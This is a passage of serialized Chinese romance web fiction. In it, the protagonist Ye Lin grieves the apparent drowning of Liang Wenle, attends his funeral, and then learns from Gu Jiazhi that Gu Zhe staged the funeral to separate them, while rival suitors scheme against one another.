叶临看到了希望,连忙招手呐喊,呼唤他的名字。 顾柘注意到思念已久的人站在小船上,连忙带人下甲板,开着船去接应。 叶临跑进安全的船,都没有细看顾柘脸上的表情,指着周围的海域,要求他快点下海去救人。 顾柘多日未见,心有怨气,但看到叶临浑身湿透,海面上还有风,怕他感冒,还是连忙脱下外套盖住。 “救什么人?” “救人还问名字啊,让你救就快点去救!”叶临紧张地抓住顾柘的手腕,盯着海面催促:“你快点,会死人的!” “救梁文乐?”顾柘将他搂紧,埋首去嗅,发现了别的味道,咬牙骂道:“你被他困了这么久,还想救人!” “我确实恨他,但那是一条人命。你应该有专业的搜救队吧,快点去救他,还得提前准备医生。”叶临语气焦急,全程不看顾柘,只担心梁文乐的生命安全。 顾柘为了追上这艘游艇,好几天没合眼,也没吃好饭,现在好不容易将人截住,却被要求救情敌,当然不愿意。 叶临见顾柘没反应,这才抬头去看,结果对上了怨气森森的眼睛,像是黑夜里的恶鬼。 他差点忘记了,顾柘也是个极端的疯子,确实能够做出见死不救的事。 算了,撒谎逼一把。 叶临告诉他,梁文乐在自己脚踝上安装炸弹的事情,吓唬道:“你不把他捞上来,我马上就会死。” “这个疯子!” 顾柘哪里想到梁文乐的手段会如此恶劣,换做是他,绝对不会舍得在叶临身上安装炸弹。 梁文乐还是比他想象中的恶劣,难怪把叶临困住这么久。 他挥手叫人带上潜水设备去捞,忌惮叶临嘴里的安全距离,不敢让叶临随意乱动。 叶临呆在顾柘身边,就会放松下来,完全不用担心自己的性命安全。 紧绷了一夜的神经松开,眼皮都开始打架。 海风一吹,他就冷得打喷嚏。 顾柘立即将他抱起来,带进船舱,还指挥这艘船稍稍往前移动,保持着安全距离。 船舱里的浴缸已经放满了温暖的洗澡水,还有提前备好的换洗衣服。 就算是做好了心理准备,但真正看到的时候,还是会发怒。 仿佛在洁白的雪地里看到了漫山遍野的红梅,艳丽妖娆,火焰要吞噬掉一切。 顾柘将叶临送进浴缸里,忍不住捶了旁边的墙壁,眼神阴沉。 叶临冷了一晚上,泡进热水里,舒服得眯眼睛,就要快睡过去。 但他还是不敢睡,勉强撑开眼皮,询问梁文乐的情况。 顾柘很想质问叶临为什么要跟顾嘉致逃跑,又为什么要在意梁文乐。 可面前的叶临太脆弱了,脸色苍白,身体消瘦,明显是刚刚经历过生死。 这个时候质问,无异于拿刀捅进叶临的心脏。 他就是舍不得叶临受苦,所以再生气都会克制。 算了,再忍忍。 顾柘蹲下来,耐心地跟他解释,这片海域流速不快,搜救队很快就会找到。 此时门突然被强行推开,沈邵和楚诏出现在门口。 顾柘回头看他们,冷声讽刺:“没家教,不知道提前敲门吗?” 沈邵无视他,赶紧跑到叶临跟前询问情况,害怕得手都在发抖。 楚诏转身去关门,礼貌性地跟顾柘解释他们是太着急了。 叶临安抚沈邵两句,就示意他靠近,要说悄悄话,同时要求顾柘站远点。 顾柘的手机刚好响了,是很重要的事情,大步走到门外接听。 房间里的紧张气氛得到缓解,有的只是多日未见的寒暄。 叶临小声叮嘱沈邵:“我不相信顾柘这个混蛋会救人,你一定要帮我救出梁文乐。他是为了我才跳海的,如果死了,我这辈子都良心难安。” 沈邵顿悟,很快就明白叶临和梁文乐的关系变化,郑重地保证:“你放心,我肯定会让他活着。” 倘若梁文乐就此死去,可能会成为叶临忘不掉的白月光。他不怕跟活人斗,只怕跟死人比。 顾柘那种蠢货,就知道盼情敌死了,才能高枕无忧,段位完全没有他高。 楚诏见沈邵又在卖乖,连忙附和:“叶临,我也会帮忙把他救出来的。” 叶临听到他们两个的保证,心中的大石落地,眼皮越来越沉,最终昏过去。 梦里,再次听到海水声,却不是可怕暴躁,而是温暖梦幻。 远处烈日熔金,近处的海面五彩斑斓,明亮的视线,让周围的景物都变得清晰。 叶临赤脚站在沙滩上,涌上来的水流不断拍打脚背。 他听着海潮声,朝着前面跑去,水慢慢地没到膝盖。 “哗啦——” 这时,一个人影从水里冒出来,掀起无数彩色的水珠,制止他继续前进。 “停,再过来,你会淹死的!” 是梁文乐的脸,但又不一样。 他的脸颊两侧有淡蓝色的鱼鳞,眼睛是璀璨的金色,头发卷曲如海藻,长至腰间。 本来精致立体的五官,被这一头长发衬托得更美,犹如神话中走出来的女神。 最令人惊讶的是,他长出来一条蓝色鱼尾。 此刻,在阳光的照耀下,鱼尾闪烁着五彩的光芒,流光溢彩。 当他摆动鱼尾,就像是灵动的蓝色绸缎,浮现出晶莹的水泡。 叶临:“文乐,你怎么变成这样了,还有尾巴?” 梁文乐:“我本来就是人鱼啊,为了你才变成人上岸的。” 这是什么莫名其妙的话,听得人云里雾里。 叶临疑惑不解,还想去捉他的鱼尾,结果被甩开。 有晶莹的泪水从梁文乐的眼角滑落,很快就变成珍珠掉进海水里,发出噗咚噗咚的声音。 这些珍珠各个圆润,表面泛着银光。 梁文乐抬手抹泪,边哭边抱怨:“可是你就喜欢别人,从来不看我。” 叶临无奈地挠头:“我又喜欢谁了,话说我还担心你会淹死呢!” 梁文乐哭得更厉害,眼眶红红的,尾巴掀起许多水花,还伸出手指细数情敌的名字。 “当然,我最讨厌的还是你了,骗我的钱,又骗我的感情。从没见过像你这么坏的,哼!” “好吧,我确实是个混蛋。我跟你说对不起,别哭了好不好。” 叶临看着他的头发在发光,很想去摸,但是又被避开。 梁文乐往后退了一步,大声控诉:“讨厌你!” 叶临收回手,无奈地叹气:“行,你没事就好。” “对了,我是来跟你道别的。” 叶临心跳漏了半拍,抬头去看。 “坏魅魔,下辈子再见!” 漂亮的人鱼挥挥手,潜入海水中,彻底消失踪影。 叶临朝着海水里跑去,想去抓住那条蓝色的鱼尾。 可蓝色鱼尾完全融进海水里,根本分辨不出来。 叶临找了很久很久,突然看见近处有一堆红色的泡沫,吓出一身冷汗。 再次醒来,已经是在病房里,空气中弥漫着消毒水的气息。 叶临看到旁边的顾柘,连忙抓住他的衣袖追问:“梁文乐呢,他怎么样了!” 顾柘看到他情急得红了眼,心里不是滋味:“死了,刚打捞上来就断气。他手臂有伤,在海水里失血过多,心脏还有炸弹,当然活不了。” 叶临难以置信,手指都在发颤:“你说什么,他死了?” 顾柘反握住他的手:“就是死了,已经运回梁家准备下葬。” 叶临感觉有什么东西被抽走了,浑身无力,快要瘫倒,嘴里喃喃道:“怎么会死了呢?这小子命好,含着金汤匙出生,肯定会没事的。 你知道吗,我刚刚梦见他变成人鱼,跟我道别,然后就变成了红色的泡沫,好可怕!” 顾柘轻轻拍他的手背:“别怕,他死了就不会再缠着你。” 叶临推开他的手,眼眶酸涩:“不是,你知道死了是什么意思吗死了,就是再也见不到了!你骗我对不对,他没死!” 顾柘没回答,气压越发地低沉。 叶临掀开被子,就想下。床去找,却被拦腰抱住。 “你这个骗子,放开我!我才不信你的话,我要听沈邵亲口跟我说!” 顾柘阴险狡诈,肯定会撒谎。而沈邵答应他,应该会做到。 “沈邵没把人救回来,不好意思来见你。” “不会的,你就知道骗我!”叶临朝着顾柘疯狂出拳。 “我不相信,不相信梁文乐死了,他肯定没死。” “你不是恨他控制你,死了不好吗,何必在这里为他哭丧!” “我” 第90章 第90章他和顾嘉致早就定下终身 梦里长着蓝色鱼尾的梁文乐,刺眼的红色泡沫。 这个颜色会让叶临想起梁文乐在海水里炸开,四分五裂,死无全尸。 一个前不久还跟他吵架,打闹的活人,突然间死去,会有种荒诞感。 仿佛不是现实,而是还在梦中。 叶临:“你就是骗我,他肯定没死。” 顾柘没想到他会为梁文乐伤心,强行将他拽回病床,叮嘱他好好休息。 叶临就不听,他想跑出去亲眼见梁文乐,挣扎得更厉害。 二人争执时,楚诏走进来,连忙跑过去阻止顾柘。 叶临总算见到希望,询问楚诏:“梁文乐没死对吧,他在哪个医院?” 楚诏听到这句话,下意识地看向旁边的顾柘,紧接着就低下头:“他已经运回梁家下葬了,你节哀顺变吧。” 叶临如遭雷劈,呆呆地站在原地。 如果说顾柘诡计多端,就会捏造事实,那楚诏骨子里是正直的,很难撒谎。 可是,梁文乐真的不在人世了吗? 叶临抓住楚诏的衣襟,逼迫他抬头看自己,再次发问:“你看着我的眼睛告诉我,梁文乐真死了吗?” 楚诏没有预料到他的行动,眼神有所躲闪,迟疑不决。 顾柘突然出声:“你昏迷了四天,梁家过几天就要举办葬礼。” 叶临的注意力放在“葬礼”这个词上,没仔细注意楚诏,脑海里浮现出许多人穿着黑衣服,站在梁文乐的黑白照片面前,有种无力感。 楚诏轻轻拍他的肩膀,安抚道:“我们在海上追踪了很久,他为了甩开我们,偏要选危险的航道,肯定会遇难。还好你没事,放下吧。” 离开玫瑰谷的当天,梁文乐神色匆匆,就是在逃命,后面有三个人的追踪,就会铤而走险。 倘若没有他们的追踪,梁文乐也不会冒险乘坐小游艇出海。 可他们追踪梁文乐,是为了救他,能责怪吗? 再说了,梁文乐不强迫他,也不会致使后面的事情发生。 这又可以到退回最初,他和梁文乐的恋爱合约。 叶临心里将所有事情都想了一遍,百思不得其解,大脑过载,头疼得厉害。 “梁文乐是为了我才跳海的,你们都说他死了,我还是不肯相信。” 顾柘:“死了就是死了,他折磨你这么久,难道还要自责?” 楚诏:“事情已经过去,就别想了吧。” 叶临抬头看向顾柘,又捶了一拳:“你这种人渣怎么可能懂我的想法!” 顾柘像是听到笑话:“对,我是人渣!我知道你跟顾嘉致私奔后,不仅不怪你,还要拼命找。 海上风那么大,我几天几夜没合眼,就是怕你被梁文乐折磨,只想快点找到你。” 绝望之际,最先出现的是站在阳光里的顾柘。叶临看到顾柘就像是游戏里看到了神级装备,顿时安心,再也没有慌乱。 他知道顾柘绝对不会怪他,还会保他安全,帮他处理好所有的事,可以最大程度地依靠。 所以一生气难受,就会把顾柘当成出气筒。 叶临心虚,没有再看顾柘,赶紧转移话题:“顾嘉致,他怎么样了?” 顾柘没回答,转身就往外走,似乎真被气到,走路生风。 还是楚诏告诉他,顾嘉致没事,出院后有专人照顾,就在顾家休息。 叶临想去梁家确认梁文乐的情况,楚诏却将他拦住,没让他离开病房。 理由是他的身体还没恢复好,需要在医院静养一段时间才能出去,否则容易生重病。 这个医院是顾氏名下的私立医院,周围都有身材高大的黑衣保镖,一看就是顾柘安排,限制他的人身自由。 还以为楚诏会帮他,结果劝他老实呆着,这当然令人不爽。 叶临推开楚诏就要往外跑,这小子却拦在病房门口,死活不肯放。 楚诏不让他出去的态度跟顾柘如出一辙,很难不怀疑他跟顾柘背地里勾结。 叶临指着他的眉心大骂:“你这个吃里扒外的狗东西,居然不向着我,还帮顾柘!” 楚诏放下手臂,重重长叹一口气:“并非我不让你去,主要是梁家非常痛恨你,还找人对付你,呆在这里最安全。” 叶临:“他们知道我和梁文乐的事情?” 楚诏点点头:“对,一般家长都向着自己的孩子。就算梁文乐强迫你有错在先,但梁文乐也因为你跳海而死。 他们当然会把儿子的死怪罪在你身上。这样说吧,只要你踏出这个门,不死也残。” 叶临想到梁父老谋深算的样子,感觉自己已经被十几个大汉包围殴打,沦为残废,有些害怕地往后退。 楚诏见这招有效,松一口气,继续添油加醋,将梁家渲染成为恐怖的持枪家族。 还直言,叶临只要被抓住带去国外,必死无疑。 梁文乐的外婆家还是很可怕的,那边的亲戚应该很疼爱梁文乐,知道这件事,肯定不会饶过他。 叶临已经退回病床,重新坐回去,仔细考虑现状。 楚诏帮他倒了一杯热水,劝他喝点,还帮顾柘说了好话:“顾柘也是担心你的人身安全,才派人在医院*周围设防,防止你被报复。” 叶临的印象里,顾柘性格疯癫,但做事考虑周全,最在意他的安全。 这样做,应该是有依据。 既然外面危险,那还是先不出去了,保命要紧。 可,梁文乐真死了吗? 不知道为什么,只要听到梁文乐跟死亡挂钩,就会觉得荒谬。 想确认生死很简单,见一眼梁文乐的尸体,或者去参加他的葬礼,看看梁父梁母的表情。 但目前来看,这两件事都做不到。 叶临又问起沈邵的下落,想多找一个人确认事实。 楚诏告诉他,沈邵在忙公司的事情,暂时抽不开身。 梵星这段时间蒸蒸日上,离不开人。 楚诏和沈邵第一时间知道叶临消失,都没能及时出国去找。 还是沈邵提前完成好工作,才跑到国外去找叶临,后面更是联合顾柘对付梁文乐。 楚诏:“我早就想出国找你,但沈邵非要拦着我,要求把公司的要事处理好再出去。对不起,我来晚了。” 叶临:“沈邵做的很对,我在国外死不了,你们把公司运营好比什么都重要。” 楚诏本来想邀功,顺便诋毁讽刺沈邵,现在反倒是沈邵得到夸奖,神情失落,说话的心情都没了。 叶临拿起热水喝了一口,感觉自己的魂魄还没从那片大海里回来,心绪悠远。 忽然听到脚步声,一前一后,应该是两个人在靠近这个病房。 果然,门再次被推开,沈邵走进来,后面紧跟着顾柘。 沈邵穿着一件略微旧的外套,左脸贴着纱布,手背有很多尚未愈合的伤痕,神情疲惫,黑眼圈都没消。 叶临放下水杯,连忙问他:“你怎么受伤了?” 楚诏让出位置,沈邵在他旁边的椅子坐下来,想伸手去摸叶临,又很快收回来。 沈邵:“我不是答应你,一点要救回梁文乐嘛。当时我太着急,也穿上潜水设备下海,结果被暗流冲到危险区域,碰伤了,差点毁容。” 楚诏就在他左边站着,听到这句话,也忍不住朝沈邵多看几眼,神情怪异。 顾柘站在窗边,表面在看外面的情况,实际上余光会注意沈邵,听到他的话,眼神中流露出满意,没出声。 叶临心疼沈邵受伤,低头去看他手臂上的伤痕:“你没事吧,那梁文乐救回来了吗?” 沈邵拉了衣袖遮盖更里面的伤痕:“我没事,只是梁文乐” 叶临隐隐有了猜想,声音随之发颤:“他怎么了?” 沈邵注意到叶临眼眶里有泪水在打转,欲言又止,脑子里有两顾力量在疯狂交战,胜负难分。 顾柘转过身来看沈邵,哪怕不说话,只是站在这里,就能让人感觉到冰冷刺骨的视线。 沈邵浑身僵住,很快就下了决定。 叶临有些害怕,但还是要问:“他到底怎么了,你快说!” 沈邵垂下头,像是放弃一般:“他去世了,已经被梁家接走。对不起,答应你的事,我没做到。” 眼泪终于滑落,顺着面颊淌进病服里,眼眶慢慢泛红,呼吸也变得沉重。 叶临的肩膀颤抖,喃喃道:“他真走了,再也见不到了?” 沈邵:“他走的时候应该是没有痛苦的,毕竟你已经把他放在心上。” 叶临的眼泪再也止不住,越掉越多。 他知道死亡的含义,就是再也见不到梁文乐这个人,再想打再想骂,都没有意义了。 人死后,爱恨都会消散。 世界上再也不会有一个矫情霸道的梁文乐反复说爱他,哭着逼迫他。 他也不会有机会嫌弃梁文乐的大少爷脾气,讽刺梁文乐蠢笨好骗。 就像梦里说的那样,“坏魅魔,下辈子再见!” 小时候,村里的老人总说:人死后会入梦,跟自己在意的人告别,七天后就会投胎转世。 早知道他在梦里就跟梁文乐道别了。 如果再给他一次机会,他肯定会说:“希望下辈子不见了,你就好好做个少爷享福,我也靠自己奋斗,再也不用互相折磨。” 他不喜欢梁文乐,反感梁文乐炽热的爱意。可人心都是肉长的,只要相处过,就会挂念。 今天听到的死讯,不是来自仇人,而是熟人。 叶临哭得脸色通红,咳嗽不止。 沈邵想要去扶他,却被楚诏抢先抱住,轻轻地拍背。 顾柘也走过来,递上纸巾。 叶临的脸颊全红了,眼泪还在流淌,说话含糊不清:“我以为我不会在意他是死是活的,毕竟他伤害过我。可我也伤害过他,我们还没两清,怎么就死了。” 沈邵无法靠近他,只能出声劝:“其实两清了,他不会怪你,你也释然,就这样吧。” 叶临没有接过纸巾,红着眼问:“他真的死了吗,为什么我还是,还是不肯相信?” 顾柘忍无可忍,强行用纸巾擦拭他的眼泪,沉声道:“人都死了,少在这里念他!他活着的时候,也没见你多在意,怎么死了就为他伤心。” 叶临推开他,怒吼着斥责:“你不懂,你怎么会懂!你从小到大都在享福,没有经历过生离死别,怎么会懂人死大于天。” 楚诏:“顾柘也是担心你的身体,别哭了。你本来就不欠梁文乐,以后可以重新开始生活了。” 顾柘将纸巾丢进垃圾桶里,语气平淡:“我怎么不懂,那天夜里,我远远看见那艘破游艇在沉没,害怕你坠海溺亡,好半天没缓过神。 我恨梁文乐愚蠢,为什么要选择那样一艘船带你离开,就不能仔细考虑风险。假如是我,绝对不会让你冒险。” 此话一出,其余两个男人都沉默。狂风暴雨里,他们跟顾柘是同样的想法,痛恨梁文乐的冲动无知,害怕叶临因此而死。 沈邵都没有攻击顾柘的想法,反而附和:“梁文乐就是被惯坏了,做事从来不考虑后果。” 楚诏叹气:“而且这不是年纪小的问题,是他本人的能力差劲。” 顾柘语气冷漠:“他为你而死,也算是弥补错误。” 他们三个人都在责怪梁文乐,仿佛将他钉在十字架上审判,要数出十宗罪。 如果梁文乐还好好地活着,叶临当然会觉得他们在说公道话。可现在梁文乐已经去世,心态就不一样。 叶临挥手制止:“不要说了,是我一开始不该骗他。假如我在酒吧没纠缠他,事情应该不会发展成这样。” 沈邵抬眼去看叶临,懊悔当时自己没及时发现叶临,才让梁文乐抢占先机。 顾柘想到自己那个不中用的弟弟,倘若是他,其他人根本没机会。 楚诏最嫉妒他们可以遇到最初的叶临,而自己则是碰见满口谎话,手段厉害的情场高手。 叶临的眼泪止住,紧紧攥紧被子角,回想穿书后的历程,荒唐混乱,谎言交织。 房间里陷入诡异的宁静,同时弥漫着悲伤的情绪和阿谀你诈。 平静的湖水之下,是波云诡谲。 沈邵眼神飘忽不定,刻意避开顾柘:“要不然,你去他的葬礼看看,就当是告别。” 叶临豁然开朗,不管现实如何,他都要去看看。 楚诏难以置信地看着沈邵,又赶紧劝:“梁家不会欢迎你入场,还是别去犯险。” 叶临也害怕梁家的报复,但就是很想亲自确认梁文乐的生死,于是看向顾柘。 顾柘在看沈邵,脸色阴沉,眼睛里都可以渗出毒素。 叶临主动抓住顾柘的手:“你就不能想想办法嘛,我想去看看梁文乐,只有这样才能死心。” 顾柘恨透了他这副模样,神情冷漠:“有求于我,就开始撒娇?” 叶临笃信自己可以拿捏顾柘,立即松开手:“我跟顾嘉致逃跑的时候就约好了,回国就结婚。既然你不帮我,那我现在就去顾家偷户口本。” 楚诏和沈邵的脸色都变得难看,反复打量叶临的眼睛,想确定他话里的真假。 顾柘冷笑起来,重复他的话:“结婚,你骗顾嘉致的吧,你这种人最喜欢撒谎!” 叶临仰头直视他的眼睛,拿出了泰山崩于前而面不改色的架势:“真话,我们在梁文乐的别墅里共患难,早就定下终身。” 病房里的诡异气氛消失,瞬间就只剩下燎原大火,嫉妒要将三个男人吞噬至死。 这是多大的殊荣,不用卑微求叶临答应结婚,更不用耍尽卑鄙手段,而是叶临亲口承认。 “顾嘉致”这个名字在三人面前像是一座无法逾越的大山,压得所有人都喘不过气。 楚诏用力握紧拳头,完全不服气。倘若换成顾柘,他还能默然接受,毕竟这次营救叶临的活动中,顾柘展现出卓越的领导能力,令他非常佩服。 沈邵惊讶痛苦,但很快就调整过来,默默地向顾柘,暗自庆幸:只要叶临不是跟这个心肠歹毒的垃圾结婚就好。 顾柘多次败给废物弟弟,心中再添一伤。 他的表情就快要绷不住,指着叶临的眉心:“算你狠!三天后,我会带你去梁文乐的葬礼。不过,你参加完葬礼,就得跟我结婚。” 90-100 第91章 第91章梁文乐的葬礼 梁文乐的葬礼当天,碧空如洗,万里无云,城市还沉浸在暮夏里,街上行人都穿着短袖裙子。 隔着铁栅栏往墓地里看,站着许多宾客,都是衣着不凡的上流人士,都是来悼念梁文乐。 已经是葬礼的尾声,很多人退场。 叶临没有看见梁父和梁母的身影,据说是太过悲伤,当场哭晕,已经送进医院里。 墓地里就剩下一些亲戚朋友,还都是不认识的人。 叶临身着黑衣,头戴黑帽,由顾柘领着进去,全程低着头,避免被人看见。 这些人都在谈论梁文乐英年早逝,并没有注意到叶临。 叶临走到梁文乐的墓碑前,看见熟悉的人脸变成灰色,顿时移不开步子,愣在原地。 墓碑上清楚地写着梁文乐生前的信息,他居然才19岁。 19岁就去世了,多么可惜的年龄。 甚至还没大学毕业,只是个学生。 顾柘在旁边递给他花束,催促他上前去献花,赶紧离开。 叶临接过花束,却怎么迈不开脚步。 他开始恍惚,怀疑自己身处地狱,正被烈火灼烧。 梁文乐真死了吗,19岁就死了? 怎么会有人19岁就死了呢! 叶临又开始怀疑自己的眼睛,他觉得在做梦,眼前的一切都不真实。 “你?” 突然听到熟悉的女声,抬头去看,正是许久未见的陈瑜琳。 她穿着黑衣,手里捧着梁文乐最喜欢的黄玫瑰,神情憔悴。 对了,陈瑜琳是梁文乐的表姐,应该可以告诉他真相。 叶临连忙问:“梁文乐他” 陈瑜琳没等他说完话,就出声打断,语气不善:“你还来这里做什么,想让他死也不安宁吗?” 叶临如坠悬崖,眼眶有了酸意:“他,他真去世了?” 陈瑜琳注意到他旁边的顾柘,强忍着怒气才没有骂人:“这里不欢迎你这种负心汉,再不走,我会通知梁家的人。” 得到梁文乐表姐的话,已经能够确认他的离世。 叶临腿脚发软,差点要倒地,还是顾柘及时将他扶住,才能站住。 陈瑜琳:“他自愿为你跳的海,我恨你,也不会报复你。以后梁文乐跟你没有关系了,请你不要出现在梁家人的面前。” 叶临的眼眶泛红,哽咽道:“对不起。” 顾柘赶紧将他往外拽,又跟陈瑜琳对了眼神,目光交汇间,已经达成某种协议。 叶临像是被抽走所有力气,意识飘离出身体,在广阔的天地间飘荡,感知不到周围的变化。 脑海里不断地浮现陈瑜琳的话,想他曾答应陈瑜琳要好好对梁文乐,想他跟梁文乐的最后一面。 他怎么会想到,只是想骗梁文乐的钱,耍点感情小把戏,却导致恶劣的后果。 梁文乐就死了吗? 假如他知道今天的局面,当初他绝对不会去招惹梁文乐。 叶临的眼泪不断地流,表情却是平静的,像个木偶,被带回医院的时候还是机械性地配合顾柘。 顾柘看他为了梁文乐难受,有种恨铁不成刚的愤怒,粗暴地帮他换上病服,嘴里骂道:“我可不信你这种没心没肺的混蛋,会为了他伤心,哭什么哭!” 叶临哭得上气不接下气:“他才19岁,刚上大学就死了。你知道19岁有多小吗,刚成年,人生才开始啊!” 顾柘谋划了所有,始终都是个执棋者的姿态,此刻却生出羡慕,按住叶临的肩膀:“我遇到你的时候也才19岁,如果今天死的人是我,你会为我伤心难受吗?” 叶临知道大反派会活很久,海上事故只会害死梁文乐这种炮灰,而不是顾柘。 他推开顾柘的手,语气轻飘飘的:“你又不会死。” 没有正面回答问题,就是给不出相同的答案。 倘若今天死的人是顾柘,那叶临不会很伤心,顶多感慨一下,就继续回归正常生活。 更何况,叶临心里有顾嘉致,死一个顾柘,问题根本不大。 是这样的,他永远无法走进叶临心里。 叶临心里,最初只有顾嘉致,后面有了楚诏和沈邵。哪怕是最讨厌的梁文乐都可以得到怜惜,而他一无所有。 有瞬间,顾柘会想:如果我死了,能不能得到叶临的一滴眼泪呢? 叶临身心疲惫,慢慢地坐下来,扯来纸巾擦泪:“你先出去吧,我想一个人静静。” 顾柘万念俱灰,都没有发疯的冲动,无声无息地离开病房。他不想再质问叶临,那是自取其辱。已经得到的答案,再要一次也是徒劳。 确认过梁文乐死亡后,叶临郁郁寡欢。 他无法接受,一个19岁的人间接性地因为自己而死,每天都会被懊悔和愧疚的阴影笼罩。 夜里他会做梦,频繁地梦见梁文乐。 梁文乐不是七窍流血的恶鬼模样,朝着他索命,而是永远的明媚,冲着他微笑,要跟他玩。 还不如在梦里辱骂他,憎恶他,要拖他进入地府,这样愧疚感还能减少。 叶临醒来后,胃口差劲,一整天都吃不下几口饭。 楚诏和沈邵都来看过他,说了很多安慰的话语,但都没有什么用。 他需要花费很长的时间,才能从梁文乐的阴影里走出来。 梵星的月流水再次突破新高,金晶工作室的游戏已经进入第一轮测试。 市面上出现了不少的竞争对手攻击服务器,楚诏忙着应付这些黑客。 沈邵脸上的绷带拆了,留下一条淡疤,忙着处理公司业务,管理新增的人员。 公司外的阳光刺眼,灌木丛绿得发油,地面几乎看不见人影。 沈邵正在看策划案,他打算看完这个就回家做好吃的,再去医院看望叶临。 叶临的胃口不好,之前做的菜都吃得很少,必须要想办法改善。 其实他知道叶临在为梁文乐的事情伤心,应该第一时间说出真相,但碍于顾柘的威压,只能暂时隐瞒。 沈邵查看日历,发现距离梁文乐葬礼已经过去了8天。 刚好,这两天顾柘忙着准备领结婚证的事情,很少去医院,对他放松警惕,也是时候告诉叶临真相了。 已经能够想象到叶临知道真相后,会有多恨顾柘,届时他才会成为最大的赢家。 愚蠢的顾柘,就知道使用强硬手段,手段哪有他高明。 沈邵得意地拨弄腕表,这还是叶临亲自去商场买的,情谊比结婚证都要重。 手机铃声忽然响起,是他安排在医院的人打来。 “今天顾嘉致来了,说是看望叶临。” “别把这件事泄露给顾柘,严防死守,我现在就过去。” 这顾嘉致回国后,一直被困在疗养院,怎么突然跑出来,还去看叶临。 顾柘手底下的人真废物,连个人都看不住! 沈邵迅速站起来,急匆匆地跑去地下停车场。直觉告诉他,顾嘉致的突然出现,会打乱他的完美计划。 病房里的光线昏暗,桌上还有才吃了一口的苹果,缺口已经氧化泛黄。 叶临拿着新手机在刷视频,分散自己的注意力。 他还是会时不时想起梁文乐,都无法进行正常的娱乐。 门口传来脚步声,听着像是顾柘。 他偏头去看,结果是许久未见的顾嘉致,立即坐起来。 顾嘉致脸上光洁如新,已经没有伤痕,还能正常走路,伤应该是养好了。 叶临总算安心,至少顾嘉致没有因为他残疾。 顾嘉致在他旁边坐下来,看向桌上的苹果:“听说你这几天都不好好吃饭。” 叶临猜到是顾柘告诉他:“我没胃口,就是会少吃点。你身体好了吧,有没有后遗症?” 顾嘉致拿起新的苹果,用刀削皮:“我没事,是你有事。我从没见过你这样,失魂落魄的,像个活死人。” 叶临没跟其他人说起自己对梁文乐的想法,可是面对顾嘉致,就会忍不住全说出来:“你知道吗,梁文乐死了。” 顾嘉致削皮的动作一顿,没有说话。 “我这几天总是梦见他,还以为他会怪我,结果他要以前一样,缠着我要陪他去海边玩,喂他吃甜点。 他才19岁,怎么就没了。我还以为,他跳海后会被救回来。那天晚上,我真应该好好地盯着他,阻止他做傻事。” “但那艘船只能容纳你一个人,他是为了你的安全,才自愿跳海。” “我知道,所以我想不开啊。其实我运气一直挺好的,跟我挤一挤也不会死吧。或者,是我跳海,肯定会被救回来。” 叶临其实想过,他毕竟拿的主角身份,就算是跳海也会被救活。 可他脚上是遥控器,跳下去,被水流冲到安全范围之外,梁文乐也会被炸死。 当时就只能,坚信他们两个人都能逃脱,努力控制那艘小船。 顾嘉致抬眼去看叶临,发现他的脸颊又有了泪,情绪低落,还在自责。 叶临永远都是骄傲自信的,犯错也不会内疚,只会怪罪别人,可现在面对人命,也会陷入痛苦。 “梁文乐知道你在意他,应该很开心。” “顾嘉致,死了就什么都没了,别说这种风凉话。你们这些人活得太好了,不知道死亡的沉重,就不理解我为什么难以从梁文乐的事走出来。” 顾嘉致将削好的苹果递过去,语气坚定有力:“我懂,所以我佩服梁文乐,愿意为他传话。他没死,你被这些人骗了。” 叶临的眼睛微微睁大,迟疑片刻就抓住顾嘉致的手腕:“你说什么,他没死?” 顾嘉致点头,催叶临吃苹果,听他慢慢讲。 叶临像是在黑暗中找到一束光,要牢牢地抓住。 原来,顾柘及时将梁文乐打捞上来,让专业人员进行了及时的急救,送去最好的医院,并且联系梁父梁母。 梁家因此欠了顾柘一个很大的人情,给他很多好处。他们不希望梁文乐再跟叶临纠缠,打算永远在国外定居,帮梁文乐换个外国身份重新生活。 顾柘为了让叶临死心,就在国内举办一场假葬礼,请很多群众演员,还去求助陈瑜琳帮忙演戏。 陈瑜琳也不想自己的表弟再跟叶临有联系,于是答应出席假葬礼。 梁家和顾柘都愿意看到这样的结果,梁文乐再也不能回国,而叶临以为梁文乐死了,两全其美。 顾嘉致回国后就被顾柘软禁,费了很多功夫才逃出去。他得知梁文乐的死讯,赶出国去确认,又立即跑来找叶临。 叶临听完,还是有些不敢相信,声音都在发颤:“他,他没死吗?” 顾嘉致打开手机,将一段视频递给他看:“之前我辜负了你的信任,害你流落异国他乡。自从地下室一别,我就下定决心,以后再也不欺骗你。” 视频是在医院里拍的,脸色苍白如纸的梁文乐躺在病床上,身体虚弱,但还能看出生机。 叶临放大查看他的脸,确认这是梁文乐,而且录像时间就在前天。 门突然被推开,紧接着是急促的脚步声。 他们抬头去看,是神色慌张的沈邵。 沈邵看到顾嘉致的架势,就知道自己的告密功劳被抢了,连忙装作不知情的样子走过去:“叶临,我跟你说,其实梁文乐没死,都是顾柘在骗你。” 叶临面对沈邵的突然反水,更加确定梁文乐的死亡有疑点,反问道:“之前我问你,你不是说死了吗?” 沈邵掀开袖子,露出里面的伤疤,故作可怜地垂眸:“你知道的,我已经被赶出沈家,没有依靠。 回国后,顾柘找人打我,还用梵星逼我配合演戏,否则就会找人打压梵星,贱卖顾嘉致手里的股份。 梵星是你我的心血,我怎么舍得,只能暂时委屈求全,再找机会把真相透露给你。还好今天他在外地,我才能告诉你真相。 顾柘就是嫉妒你在意梁文乐,才想出假葬礼的办法,让你断绝念想。对了,楚诏已经被顾柘洗脑,成了他的走狗,你千万不要信他。” 叶临看着他脸色的淡疤,这才回想起来那天的诡异之处。与其说,浑身是伤的沈邵从病房外走进来,不如说是顾柘押犯人。 沈邵已经失去头功,好歹捞了次等功,而且还成功让叶临对顾柘失望,也算达成目的,眼底有了笑意。 顾嘉致最恨他的惺惺作态,突然站起来,指着他的眉心痛骂:“少在这里装可怜,别以为我不知道你在想什么。今天我不告诉叶临真相,你就会一直隐瞒。” 沈邵像是在看一个蠢笨的孩童,表面姿态可怜,心里却高傲:“怎么会,我舍不得叶临难受,早晚会告诉他真相。你是顾柘亲弟,当然无所畏忌。我无依无靠的,只能小心行事。” 顾嘉致朝着他挥拳,连着新仇旧帐一起算。 沈邵侧身躲过,反手就朝他腰间攻击。 顾嘉致被击中,吃痛地啧了一声,朝着他踢去。 眼看着这两个人要把病房当成拳击赛场,叶临连忙出声制止。 沈邵绕到叶临病床的一侧,装作需要庇护的样子。 顾嘉致指着他大骂不要脸,想追过去却被叶临拦住,只能停下来。 